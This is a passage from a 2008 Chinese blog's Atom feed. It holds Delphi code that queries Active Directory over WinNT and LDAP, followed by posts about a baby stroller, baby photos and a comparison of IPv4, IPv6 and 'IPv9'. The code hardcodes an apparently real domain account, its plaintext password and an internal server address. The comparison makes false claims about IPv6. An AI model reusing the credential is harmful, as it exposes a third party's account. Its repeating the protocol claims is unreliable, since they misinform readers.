}<BR>&nbsp;&nbsp;&nbsp; procedure GetDomainInformation(Domain: IADsContainer);<BR>&nbsp;&nbsp;&nbsp; procedure AddUserToList(ADsObj:IADs);<BR>&nbsp;&nbsp;&nbsp; procedure AddGroupToList(ADsObj:IADs);<BR>&nbsp;&nbsp;&nbsp; procedure AddComputerToList(ADsObj:IADs);<BR>&nbsp; public<BR>&nbsp;&nbsp;&nbsp; { Public declarations }<BR>&nbsp; end;</P>
<P>//连接 Win NT 目录服务就是找到域控制器然后绑定到相应的对象上。<BR>//绑定可以通过 ADsGetObject 或 ADsOpenObject 函数来实现。<BR>//第一个函数使用登录用户缺省的信任级别，<BR>//第二个函数允许开发者指定特殊的安全信任机制来绑定 ADSI 对象。</P>
<P>//缺省条件下，ADsGetObject函数根据当前用户进行安全认证。<BR>function ADsGetObject(lpszPathName: PWideChar;&nbsp;&nbsp; //第一个参数是对象的路径名<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; const riid: TIID;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //第二个参数是对象的接口标识符<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; out obj): HResult; stdcall; external 'activeds.dll';// 第三个参数用于返回得到的被请求的接口指针</P>
<P>//ADsOpenObject 函数在不同的安全认证机制下绑定 ADSI 对象，<BR>//它主要是通过调用参数返回的用户名和口令来认证的<BR>function ADsOpenObject(lpszPathName: PWideChar;&nbsp;&nbsp;&nbsp; //第一个参数是对象的路径名<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lpszUserName: PWideChar;&nbsp;&nbsp;&nbsp; //第二个参数是调用者提供的用户名<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lpszPassword: PWideChar;&nbsp;&nbsp;&nbsp; //第三个参数是调用者提供的口令<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dwReserved: LongInt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //第四个参数是一个保留的 provider 标识，用来确定绑定的认证方法<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; const riid: TIID;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //第五个参数是请求接口的接口标识符，<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; out obj): HResult; stdcall; external 'activeds.dll'; //最后一个参数用来返回请求的接口指针。</P>
<P>var<BR>&nbsp; MainFrm: TMainFrm;</P>
<P>implementation</P>
<P>{$R *.dfm}</P>
<P>// 获取域信息&nbsp; <BR>procedure TMainFrm.GetDomainInformation(Domain: IADsContainer);<BR>var<BR>&nbsp; Enum: IEnumVariant;<BR>&nbsp; ADsTempObj: OLEVariant;<BR>&nbsp; ADsObj: IADs;<BR>&nbsp; Value: LongWord;<BR>begin<BR>&nbsp; //清空用户、组和计算机列表<BR>&nbsp; UserListView.Items.Clear;<BR>&nbsp; GroupListView.Items.Clear;<BR>&nbsp; ComputerListView.Items.Clear;</P>
<P>&nbsp; //获取枚举对象，并赋值给 Enum 变量<BR>&nbsp; Enum := (Domain._NewEnum) as IEnumVariant; </P>
<P>&nbsp; //利用枚举对象查找，把每个子对象赋值给临时的 OLEVariant 对象<BR>&nbsp; while (Enum.Next(1, ADsTempObj, Value) = S_OK) do<BR>&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ADsObj := IUnknown(ADsTempObj) as IADs;&nbsp; //获得临时对象：OLEVariant 变量赋值给 ADSI 对象<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if AdsObj.Class_ = 'User' then&nbsp;&nbsp;&nbsp; //如果是用户对象<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AddUserToList(ADsObj);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if AdsObj.Class_ = 'Group' then&nbsp;&nbsp; //如果是组对象<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AddGroupToList(ADsObj);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if AdsObj.Class_ = 'Computer' then //如果是计算机对象<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AddComputerToList(ADsObj);</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ADsTempObj:=Null; //释放OLEVariant<BR>&nbsp; end;&nbsp; <BR>end; </P>
<P>procedure TMainFrm.AddUserToList(ADsObj:IADs);<BR>var aListItem:TListItem;<BR>begin<BR>&nbsp; aListItem:=UserListView.Items.Add;<BR>&nbsp; aListItem.Caption:=ADsObj.Name;<BR>&nbsp; aListItem.SubItems.Add(ADsObj.Class_);<BR>&nbsp; aListItem.SubItems.Add(ADsObj.ADsPath);<BR>&nbsp; aListItem.SubItems.Add(ADsObj.Parent);<BR>&nbsp;// aListItem.SubItems.Add(ADsObj.Get('sAMAccountName'));<BR>end;</P>
<P>procedure TMainFrm.AddGroupToList(ADsObj:IADs);<BR>var aListItem:TListItem;<BR>begin<BR>&nbsp; aListItem:=GroupListView.Items.Add;<BR>&nbsp; aListItem.Caption:=ADsObj.Name;<BR>&nbsp; aListItem.SubItems.Add(ADsObj.Class_);<BR>&nbsp; aListItem.SubItems.Add(ADsObj.ADsPath);<BR>end;</P>
<P>procedure TMainFrm.AddComputerToList(ADsObj:IADs);<BR>var aListItem:TListItem;<BR>begin<BR>&nbsp; aListItem:=ComputerListView.Items.Add;<BR>&nbsp; aListItem.Caption:=ADsObj.Name;<BR>&nbsp; aListItem.SubItems.Add(ADsObj.Class_);<BR>&nbsp; aListItem.SubItems.Add(ADsObj.ADsPath);<BR>end;</P>
<P>procedure TMainFrm.btn1Click(Sender: TObject);<BR>var<BR>&nbsp;&nbsp;&nbsp; UnknownObject: IUnknown;<BR>&nbsp;&nbsp;&nbsp; DomainPath,ADUser,ADPass: WideString;<BR>&nbsp;&nbsp;&nbsp; Domain: IADsContainer;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>begin<BR>&nbsp; // 指定域路径<BR>&nbsp; DomainPath := 'WinNT://' + ADSIDomainName.Text;<BR>&nbsp; ADUser:= ADSIUsername.Text;<BR>&nbsp; ADPass:= ADSIPassword.Text;</P>
<P>&nbsp; DomainPath := 'WinNT://Hebmc.com';<BR>&nbsp; ADUser:&nbsp; ADUser:= 'Hebmc\OAWebUser'; //注意用户名称的写法：domain\User 或 <a href="http://www.openx.cn/mailto:User@domain.com">User@domain.com</A><BR>&nbsp; ADUser:= <a href="http://www.openx.cn/mailto:'OAWebUser@Hebmc.com'">'OAWebUser@Hebmc.com'</A>; //注意用户名称的写法：domain\User 或 <a href="http://www.openx.cn/mailto:User@domain.com">User@domain.com</A><BR>&nbsp; ADPass:= 'chenzuooaup02';<BR>&nbsp; <BR>&nbsp; // 如果使用用户登录了信息<BR>&nbsp; if cbUseLogin.Checked then&nbsp; // 使用用户登录的信息创建域对象<BR>&nbsp;&nbsp;&nbsp;&nbsp; OleCheck(AdsOpenObject(PWideChar(DomainPath),<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PWideChar(ADUser),<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PWideChar(ADPass),<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IID_IADsContainer,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UnknownObject))<BR>&nbsp; else<BR>&nbsp;&nbsp;&nbsp;&nbsp; OleCheck(ADsGetObject(PWideChar(DomainPath),<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IID_IADsContainer,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UnknownObject));</P>
<P>&nbsp; // 设定域对象<BR>&nbsp; Domain := UnknownObject as IADsContainer;</P>
<P>&nbsp; // 从域中获得信息列表<BR>&nbsp; GetDomainInformation(Domain); <BR>end;</P>
<P>end.</P>
<P><BR>备注：</P>
<P>&nbsp; *.注意用户名的写法：domain\User 或 <a href="http://www.openx.cn/mailto:User@domain.com">User@domain.com</A>。</P>
<P>&nbsp; *.Delphi使用WinNT Provider方式访问AD，在使用ADsObj.Get('属性')时，会有一个报错：“高速缓存中找不到目录属性。”&nbsp; （The directory property cannot be found in the cache）。<BR>&nbsp;&nbsp;&nbsp; 目前该问题还不知如何解决。</P>
<P>&nbsp; *.资料参考《Delphi深度探索-活动目录开发》。<BR>&nbsp;&nbsp;&nbsp; 作者：陈省（Hubdog）。&nbsp; <A href="http://hubdog.csdn.net/">http://hubdog.csdn.net/</A>。</P>
<P><BR>6.Delphi7使用LDAP访问Window 2000 Server AD。</P>
<P>unit Main;</P>
<P>interface</P>
<P>uses<BR>&nbsp; Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,<BR>&nbsp; Dialogs, StdCtrls, ActiveDs_TLB, ActiveX, ComObj;</P>
<P>type<BR>&nbsp; TMainFrm = class(TForm)<BR>&nbsp;&nbsp;&nbsp; Button1: TButton;<BR>&nbsp;&nbsp;&nbsp; ObjMemo: TMemo;<BR>&nbsp;&nbsp;&nbsp; OUMemo: TMemo;<BR>&nbsp;&nbsp;&nbsp; UserMemo: TMemo;<BR>&nbsp;&nbsp;&nbsp; cbUseLogin: TCheckBox;<BR>&nbsp;&nbsp;&nbsp; Obj_Label: TLabel;<BR>&nbsp;&nbsp;&nbsp; OU_Label: TLabel;<BR>&nbsp;&nbsp;&nbsp; Users_Label: TLabel;<BR>&nbsp;&nbsp;&nbsp; procedure Button1Click(Sender: TObject);<BR>&nbsp; private<BR>&nbsp;&nbsp;&nbsp; { Private declarations }<BR>&nbsp; public<BR>&nbsp;&nbsp;&nbsp; { Public declarations }<BR>&nbsp;&nbsp;&nbsp; procedure GetADInfo(aUser,aPass,aDomainPath: WideString);<BR>&nbsp; end;</P>
<P> <BR>//连接 Win NT 目录服务就是找到域控制器然后绑定到相应的对象上。<BR>//绑定可以通过 ADsGetObject 或 ADsOpenObject 函数来实现。<BR>//第一个函数使用登录用户缺省的信任级别，<BR>//第二个函数允许开发者指定特殊的安全信任机制来绑定 ADSI 对象。</P>
<P>//缺省条件下，ADsGetObject函数根据当前用户进行安全认证。<BR>function ADsGetObject(lpszPathName: PWideChar;&nbsp;&nbsp; //第一个参数是对象的路径名<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; const riid: TIID;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //第二个参数是对象的接口标识符<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; out obj): HResult; stdcall; external 'activeds.dll';// 第三个参数用于返回得到的被请求的接口指针</P>
<P>//ADsOpenObject 函数在不同的安全认证机制下绑定 ADSI 对象，<BR>//它主要是通过调用参数返回的用户名和口令来认证的<BR>function ADsOpenObject(lpszPathName: PWideChar;&nbsp;&nbsp;&nbsp; //第一个参数是对象的路径名<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lpszUserName: PWideChar;&nbsp;&nbsp;&nbsp; //第二个参数是调用者提供的用户名<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lpszPassword: PWideChar;&nbsp;&nbsp;&nbsp; //第三个参数是调用者提供的口令<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dwReserved: LongInt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //第四个参数是一个保留的 provider 标识，用来确定绑定的认证方法<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; const riid: TIID;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //第五个参数是请求接口的接口标识符，<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; out obj): HResult; stdcall; external 'activeds.dll'; //最后一个参数用来返回请求的接口指针。</P>
<P>var<BR>&nbsp; MainFrm: TMainFrm;</P>
<P>implementation</P>
<P>{$R *.dfm}</P>
<P>procedure TMainFrm.Button1Click(Sender: TObject);<BR>var DomainPath,ADUser,ADPass: WideString;<BR>begin<BR>&nbsp; DomainPath := 'LDAP://192.168.100.3/OU=省公司,OU=组织架构,DC=Hebmc,DC=com';//LDAP访问AD的路径。</P>
<P>&nbsp; ADUser:='Hebmc\OAWebUser'; //注意用户名称的写法：域名称 + 用户名称 或 <a href="http://www.openx.cn/mailto:User@domain.com">User@domain.com</A><BR>&nbsp; ADUser:='OAWebUser@Hebmc.com'; //注意用户名称的写法：域名称 + 用户名称 或 <a href="http://www.openx.cn/mailto:User@domain.com">User@domain.com</A><BR>&nbsp; ADPass:='chenzuooaup02';&nbsp;&nbsp; //用户密码。<BR>&nbsp; <BR>&nbsp; GetADInfo(ADUser,ADPass,DomainPath);&nbsp; <BR>end;</P>
<P>procedure TMainFrm.GetADInfo(aUser,aPass,aDomainPath: WideString);<BR>var<BR>&nbsp; UnknownObject: IUnknown;<BR>&nbsp; Enum: IEnumVariant;<BR>&nbsp; ADsTempObj: OLEVariant;<BR>&nbsp; Domain: IADsContainer;<BR>&nbsp; ADsObj: IADs;<BR>&nbsp; Value: LongWord;<BR>begin</P>
<P>&nbsp; // 如果使用AD用户信息登录<BR>&nbsp; if cbUseLogin.Checked then&nbsp; // 使用用户登录的信息创建域对象<BR>&nbsp;&nbsp;&nbsp;&nbsp; OleCheck(AdsOpenObject(PWideChar(aDomainPath),<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PWideChar(aUser),<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PWideChar(aPass),<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IID_IADsContainer,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UnknownObject))<BR>&nbsp; else <BR>&nbsp;&nbsp;&nbsp;&nbsp; OleCheck(ADsGetObject(PWideChar(aDomainPath),<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IID_IADsContainer,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UnknownObject));</P>
<P>&nbsp; // 设定域对象<BR>&nbsp; Domain := UnknownObject as IADsContainer;</P>
<P>&nbsp; //获取枚举对象，并赋值给 Enum 变量<BR>&nbsp; Enum := (Domain._NewEnum) as IEnumVariant;</P>
<P>&nbsp; //利用枚举对象查找，把每个子对象赋值给临时的 OLEVariant 对象<BR>&nbsp; while (Enum.Next(1, ADsTempObj, Value) = S_OK) do<BR>&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ADsObj := IUnknown(ADsTempObj) as IADs;&nbsp; //获得临时对象：OLEVariant 变量赋值给 ADSI 对象</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ObjMemo.Lines.Add(AdsObj.Class_); //对象类型</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if AdsObj.Class_ = 'organizationalUnit' then //如果是组织单元对象<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OUMemo.Lines.Add(ADsObj.Name) ;</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if AdsObj.Class_ = 'user' then //如果是用户对象<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UserMemo.Lines.Add(ADsObj.Name+'（用户代码='+ADsObj.Get('sAMAccountName')+'）');</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //递归。得到组内相关用户。<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GetADInfo(aUser,aPass,ADsObj.ADsPath);&nbsp;</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ADsTempObj:=Null; //释放OLEVariant<BR>&nbsp; end;</P>
<P>end;</P>
<P>end.</P>
<P>备注：</P>
<P>&nbsp;*. 注意用户名的写法：domain\User 或 <a href="http://www.openx.cn/mailto:User@domain.com">User@domain.com</A></P>
<P>&nbsp;*. Delphi使用LDAP方式访问AD，可以使用ADsObj.Get('属性')时得到相关属性值。<BR>&nbsp;&nbsp;&nbsp; 属性的取值域可以通过JAVA程序得到。</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=441" /> 
	  <id>http://www.openx.cn/default.asp?id=441</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[陈乐鑫的推车终于到了~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2008-02-26T17:27:47+08:00</updated>
	  <published>2008-02-26T17:27:47+08:00</published>
		  <summary type="html"><![CDATA[<P>历经一个多月,乐鑫他亲阿姨买的推车终于到了,真是几经周折呀(这快递公司都可以把这车子从地球送一圈了都)~</P>
<P>&nbsp;</P>
<P>看我家宝宝最新装备,好孩子C880C,超级敞篷跑车~哈哈~</P>
<P>&nbsp;</P>
<P>[img]/attachments/month0802/wtl1_006907_0_02.jpg[/img]</P>
<P>1、靠背坐、躺、卧三档调节。<BR>2、前轮避震，后轮有刹车功能。<BR>3、前扶手可打开。<BR>4、坐垫板可加长。<BR>5、布质置物篮筐。<BR>6、配头部护枕和头托。<BR>7、三点式安全带保护系统。</P>
<P>&nbsp;</P>
<P>配置够强悍的吧~哈哈</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=440" /> 
	  <id>http://www.openx.cn/default.asp?id=440</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[我的超级宝宝生活写真地址公布咯!]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=4" label="照片" /> 
	  <updated>2008-01-24T11:36:36+08:00</updated>
	  <published>2008-01-24T11:36:36+08:00</published>
		  <summary type="html"><![CDATA[<p>我的超级宝宝生活写真地址公布咯</p>
<p>[img]/attachments/month0801/ig9m_1.jpg[/img]</p>
<p>http://picasaweb.google.com/cxtyopenx/MySuperBaby</p>
<p>内还附有视频哦.<br /></p>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=439" /> 
	  <id>http://www.openx.cn/default.asp?id=439</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[IPv4,IPv6,IPv9 三代协议比较]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2008-01-24T11:26:38+08:00</updated>
	  <published>2008-01-24T11:26:38+08:00</published>
		  <summary type="html"><![CDATA[<P><STRONG>IPv4</STRONG></P>
<P>优点</P>
<P>实际证明符合当初的设计（1960-1980），是现有国际互联网技术的基础。</P>
<P>不足</P>
<P>原设计没想到互联网发展这么快，IP地址不够<BR>预测表明，到2010年地址分配完毕。<BR>比如,整个中国的IP地址还不及美国一个大学的地址多。<BR>不安全，不能进行保密传送。<BR>地址分配效率低只有0.33～0.22%。<BR>不适合无线应用。<BR>不能适合多媒体传送，<BR>只适合数据传送，<BR>图象和声音质量都比较差。</P>
<P>&nbsp;</P>
<P><STRONG>IPv6</STRONG></P>
<P>优点</P>
<P>增加了地址长度(为2128),<BR>增加了安全保密算法，<BR>增加了常规的图象和声音的传输。<BR>增加了无线上网手段。 </P>
<P>不足</P>
<P>效率特别低，只有0.01～0.03%(实际试下来比IPV4多不了多少)。<BR>其设计地址理论容量为30年(特别是IDSN的位长为10<SUP>50</SUP>，ATM位长为2<SUP>160</SUP>。均在设计时考虑了地址的长度)。<BR>但IPV6设计时只有10<SUP>15</SUP>地址，所以远远不能满足人类对IP地址的需要。<BR>没有地理位置，所有国家均消失, 只留下商业、国际组织和美国本土。<BR>其安全保密算法均控制在IPV6设计者手中。<BR>没有从根本上解决图象和声音协议的方法。<BR>无法用数字按键上网(特别是手机)。<BR>不能直接用IP地址表示，必须经过DNS翻译。<BR>联网用的算法复杂，有二进制、八进制、十六进制、英文、多国文字等。<BR>没有紧急用类别，不适合在紧急和战争状况下使用。</P>
<P><STRONG>IPv9</STRONG></P>
<P>1、地址容量大为2<SUP>256</SUP>，效率高。在今后很长的一段时间内，可以给世界上的人类需求分配一个永久的IP地址。而且以后还可以自动按顺序增加，因此，IP地址容量足够大。可以和现有的IPV4、IPV6网络互通。<BR>2、采用了定长不定位的方法，可以减少网络开销，可像电话一样进行不定长使用。<BR>3、符合可持续发展和环保要求。根据需求可以实现端到端，做到低成本、高效率、经济性特别好。同时，对用户隐私权的保护得到了加强。并在设计时考虑到了环保问题。<BR>4、采用特定的加密机制。特别考虑到计算机网络技术领域的发展趋势，今后会出现诸如生物芯片和量子计算机等高新技术，预见了将现有计算机的解密能力超越了热力学的范围。加密算法控制权掌握在设计者手中，因而不存在IPV6那样受制于他国，所以网络特别安全。<BR>5、采用了绝对码类和长流码类似的协议，解决了声音和图象在模拟电路中传输的矛盾。<BR>6、可以直接将IP地址和MAC地址作为域名使用，特别适合于使用手机和家庭的上网。<BR>7、采用十进制算法。简化了计算机和计算机互联算法的基础，从而为今后计算机互联网发展确定了新的游戏规则。并确定了将杂乱无序的互联网算法逐步统一为十进制算法。<BR>8、有紧急类别，可以解决在战争和国家紧急情况下的线路畅通问题。做到军民两用。<BR>9、特别适合无线网络传输。<BR>10、采用了特别的语言表示法，简化了网络管理中的管理难度，便于推广普及。<BR>11、采用了IPV9和IPV4过渡策略，有利于延长现有IPV4网络资源的生命期。</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=438" /> 
	  <id>http://www.openx.cn/default.asp?id=438</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[我家宝宝游泳记!]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=4" label="照片" /> 
	  <updated>2008-01-18T22:30:44+08:00</updated>
	  <published>2008-01-18T22:30:44+08:00</published>
		  <summary type="html"><![CDATA[<p><embed src="http://www.tudou.com/v/43kzVtpuzXI" width="400" height="300" type="application/x-shockwave-flash" allowfullscreen="true" wmode="transparent" allowscriptaccess="always"></embed></p>
<p>haha~</p>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=437" /> 
	  <id>http://www.openx.cn/default.asp?id=437</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[我的超级奥运金猪宝宝，照片首次瀑光！！！绝对独家！]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=4" label="照片" /> 
	  <updated>2008-01-18T21:45:42+08:00</updated>
	  <published>2008-01-18T21:45:42+08:00</published>
		  <summary type="html"><![CDATA[<P>2008年1月15日凌晨 5点53分,我的奥运金猪宝宝经过273天的闭关修炼,终于提前5天修成正果出关啦!</P>
<P>哈哈就是这小子:P</P>
<P>[img]/attachments/month0801/3zs7_MySuperBaby.jpg[/img]</P>
<P>&nbsp;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=436" /> 
	  <id>http://www.openx.cn/default.asp?id=436</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[ADIS IIS 部分属性 备忘]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2008-01-06T11:01:09+08:00</updated>
	  <published>2008-01-06T11:01:09+08:00</published>
